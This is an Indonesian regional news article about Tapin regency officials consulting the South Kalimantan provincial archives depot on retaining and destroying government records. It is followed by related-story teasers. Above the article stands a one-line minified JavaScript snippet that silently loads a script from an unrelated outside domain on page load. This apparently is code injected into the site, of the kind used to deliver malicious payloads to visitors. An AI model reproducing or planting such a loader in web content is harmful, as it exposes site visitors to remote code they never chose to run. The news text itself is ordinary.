(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Depo Arsip Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menerima kunjungan dari Dewan Perwakilan Rakyat Dearah (DPRD) Kabupaten Tapin dan Dinas Perpustakaan dan Kearsipan Kabupaten Tapin, Selasa (23/11/2021).
Kunjungan legislatif dan eksekutif dari Tapin untuk konsultasi mengenai penyusutan dan pemusnahan arsip di Kabupaten Tapin.
Wakil Ketua DPRD Kabupaten Tapin, Muchtar mengutarakan tujuan kedatangan mereka ke Depo Arsip Kalsel untuk mendapatkan informasi dan masukan yang berhubungan dengan penyusutan dan pemusnahan arsip.
“Masih banyak yang menyepelekan arsip, padahal arsip ini sangatlah penting. Sehingga inilah yang melatar belakangi kami untuk berkunjung ke Depo Arsip ini, karena di Tapin sendiri tidak pernah melakukan pemusnahan arsip,” ungkapnya.
Baca juga: DAS Kapuas Disebut Rusak 70 Persen, Akibat Alih Fungsi Hutan
Sementara itu, Zainal Abidin, Kepala Dispersip Kabupaten Tapin mengakui di lingkungan Pemkab Tapin belum pernah sekalipun melakukan pemusnahan arsip.
“Kita sudah menyiapkan upaya hukum seperti membuat Perda tentang arsip, tinggal proses pelaksanaan dari penyusutan dan pemusnahannya akan dilaksanakan tahun 2022 mendatang,” katanya.
Konsultasi ini kata Zainal, ia tidak ragu lagi untuk memusnahkan arsip di Kabupaten Tapin berdasarkan Jadwal Retensi Arsip (JRA). Disamping itu Dispersip Tapin masih terkendala dari 34 SKPD hanya sekitar 10 SKPD yang menyelesaikan dokumen kearsipan.
Baca juga: KRONOLOGI. Tenggelamnya Tiga Orang di Irigasi Batang Alai HST, Berawal dari Sandal Jatuh
“Kita masih kesulitan untuk memulai, tapi kalau yang pertama ini berhasil, maka seterusnya akan mudah melaksanakannya. Bahkan, kami juga didukung penuh oleh Bupati untuk lebih meningkatkan dalam bidang kearsipan,” ujarnya.
Lebih jauh kata Kadispersip Tapin, hasil kunjungan yang mereka dapat akan diaplikasikan langsung ke Kabupaten Tapin.
Kepala Dispersip Kalsel melalui Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Wildan Akhyar mengapresiasi kunjungan yang dilakukan DPRD Kabupaten Tapin didampingi oleh Dispersip Kabupaten Tapin.
“Alhamdulillah, artinya dengan kunjungan ini Kabupaten Tapin mempunya komitmen yang kuat terhadap arsip,” ujarnya.
Baca juga: Munir Kenalkan Teknik ‘Brute Art’ dalam Pameran Seni Rupa di Kota Banjarbaru
Diterangkan Wildan bahwa pengelolaan arsip ini sangatlah penting, kalau komitmen pimpinan tidak kuat maka arsip ini hanya dianggap sebagai pelengkap dan tidak penting.
“Dengan adanya komitmen pimpinan, artinya arsip ini jauh lebih diperhatikan dan diberdayakan sehingga arsip di daerah khususnya di Tapin akan lebih maksimal dalam pengelolaan kearsipannya,” harapnya.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.